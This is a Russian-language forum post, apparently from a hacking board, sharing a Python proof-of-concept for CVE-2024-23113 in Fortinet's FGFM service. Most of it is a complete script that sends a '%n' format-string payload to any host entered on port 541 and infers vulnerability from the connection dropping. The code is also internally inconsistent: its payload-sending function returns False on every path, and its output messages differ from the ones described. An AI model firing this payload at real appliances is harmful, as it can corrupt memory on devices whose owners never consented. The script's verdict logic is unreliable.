[CVE-2024-23113] FortiOS, FortiPAM, FortiProxy и FortiWeb (POC)

rootty

Active member
Пользователь
Регистрация
1 Фев 2025
Сообщения
25
Реакции
4

CVE-2024-23113​


Этот сценарий предназначен для обнаружения уязвимости CVE-2024-23113, которая представляет собой уязвимость форматной строки в службе FGFM (протокол связи между FortiGate и FortiManager) FortiGate, работающей на TCP-порту 541. Уязвимость возникает из-за того, что атакующий может контролировать форматную строку, что может привести к удаленному выполнению кода (RCE) или другому непредвиденному поведению. Служба FGFM используется для связи по управлению конфигурацией между устройствами FortiGate и FortiManager, и неисправленные версии имеют ненадлежащую обработку входных данных, что делает их уязвимыми к атакам с использованием уязвимостей форматной строки.

Как работает скрипт​

  1. Настройка сетевого соединения:
    • Сценарий сначала устанавливает SSL/TLS-соединение с целевым устройством на порту 541.
    • Он использует объект ssl.SSLContext и отключает проверку сертификата, чтобы иметь возможность подключаться к устройствам, которые могут использовать самоподписанные сертификаты.
  2. Создание полезной нагрузки:
    • После установки соединения сценарий создает вредоносную полезную нагрузку, используя уязвимость форматной строки, например, authip=%n.
    • Директива %n сообщает системе записать количество байтов, выведенных на данный момент, в переменную, что может привести к повреждению памяти.
    • Эта вредоносная полезная нагрузка отправляется на целевое устройство через установленное соединение.
  3. Логика обнаружения:
    • Затем сценарий проверяет поведение целевого устройства после получения вредоносной полезной нагрузки.
    • Если соединение внезапно разрывается и возникает предупреждение SSL, это указывает на то, что цель уязвима, поскольку была вызвана защитная механика (например, _FORTIFY_SOURCE в glibc) от уязвимости форматной строки.
    • Если соединение остается открытым, это может означать, что целевое устройство, возможно, было исправлено.

Инструкции по использованию:​

  1. Запустите скрипт, используя Python 3, выполнив следующую команду:
Bash:
python POC-CVE-2024-23113.py
  1. Система запросит ввод имени хоста или IP-адреса устройства, которое необходимо проверить на наличие уязвимости. Или введите "exit" для выхода.
  2. Если целевое устройство уязвимо, скрипт выведет: Внимание: <hostname> уязвим!
  3. Если целевое устройство, похоже, исправлено, скрипт выведет: [+] <hostname> выглядит исправленным.
Системные требования:
  • Для запуска скрипта требуется Python 3.9+.
  • Должен быть доступ к целевому устройству через сеть, и порт 541 должен быть открыт.
  • На целевом устройстве должна работать служба FGFM.
Python:
import socket
import ssl
import struct

def check_vulnerability(hostname):
    """
    Проверяет, существует ли уязвимость для заданного хоста, устанавливая соединение и анализируя ответ сервера.
    Параметры:
        hostname (str): Имя хоста, который необходимо проверить.
    Возвращает:
        bool: True, если устройство, вероятно, уязвимо, False в противном случае.
    """
    context = create_ssl_context()
    with create_socket() as sock:
        if not connect_socket(sock, hostname, port=541):
            return False
        try:
            with context.wrap_socket(sock, server_hostname=hostname, suppress_ragged_eofs=True) as ssock:
                return analyze_server_response(ssock)
        except ssl.SSLError as ssl_err:
            return handle_ssl_error(ssl_err, hostname)
        except socket.error as sock_err:
            print(f"[-] Ошибка сокета: {sock_err}")
            return False

def create_ssl_context():
    """Создает и возвращает SSL-контекст с необходимыми настройками."""
    context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    context.options |= ssl.OP_NO_COMPRESSION
    return context

def create_socket():
    """Создает и возвращает сокет с настроенным таймаутом."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    return sock

def connect_socket(sock, hostname, port):
    """
    Подключает заданный сокет к указанному хосту и порту.
    Параметры:
        sock (socket.socket): Сокет, который необходимо подключить.
        hostname (str): Имя хоста, к которому необходимо подключиться.
        port (int): Номер порта, к которому необходимо подключиться.
    Возвращает:
        bool: True, если подключение успешно, False в противном случае.
    """
    try:
        sock.connect((hostname, port))
        return True
    except socket.error as e:
        print(f"[-] Не удалось подключиться к {hostname}: {e}")
        return False

def analyze_server_response(ssock):
    """
    Анализирует первоначальные данные, полученные от сервера, и определяет, существует ли уязвимость.
    Параметры:
        ssock (ssl.SSLSocket): SSL-обернутый сокет.
    Возвращает:
        bool: True, если сервер, вероятно, уязвим, False в противном случае.
    """
    initial_data = ssock.recv(1024)
    if not initial_data:
        print("[-] Не получены начальные данные от сервера.")
        return False
    if len(initial_data) >= 8:
        pkt_flags, pkt_len = struct.unpack('ii', initial_data[:8])
        pkt_len -= 2
    else:
        print("[-] Полученные начальные данные слишком короткие.")
        return False
    payload = ssock.recv(pkt_len - 8)
    if len(payload) < pkt_len - 8:
        print("[-] Получен неполный полезный код.")
        return False
    return send_format_string_payload(ssock)

def send_format_string_payload(ssock):
    """Отправляет полезную нагрузку с форматированной строкой на сервер и анализирует ответ."""
    format_string_payload = b"reply 200\r\nrequest=auth\r\nauthip=%n\r\n\r\n\x00"
    packet = create_packet(format_string_payload)
 
    ssock.send(packet)
    response = ssock.recv(1024)
    if response:
        print("[+] Устройство, возможно, не уязвимо - получен ответ.")
        return False
    else:
        print("[+] Ответ не получен - требуется дальнейший анализ.")
        return False

def create_packet(payload):
    """Создает пакет из заданной полезной нагрузки."""
    packet = b''
    packet += 0x0001e034.to_bytes(4, 'little')
    packet += (len(payload) + 8).to_bytes(4, 'big')
    packet += payload
    return packet

def handle_ssl_error(ssl_err, hostname):
    """Обрабатывает ошибку SSL, чтобы определить, может ли сервер быть уязвимым."""
    if "tlsv1 alert" in str(ssl_err).lower() or "unexpected message" in str(ssl_err).lower():
        print(f"[+] Устройство {hostname}, вероятно, уязвимо. Соединение было прервано, как ожидалось.")
        return True
    else:
        print(f"[-] Неожиданная ошибка SSL: {ssl_err}")
        return False

def main():
    while True:
        hostname = input("Введите имя хоста для проверки (или 'exit' для выхода): ")
        if hostname.lower() == 'exit':
            break
        is_vulnerable = check_vulnerability(hostname)
        if is_vulnerable:
            print(f"[!] Внимание: {hostname} уязвим!")
        else:
            print(f"[+] {hostname} не уязвим.")

if __name__ == "__main__":
    main()
 
Сверху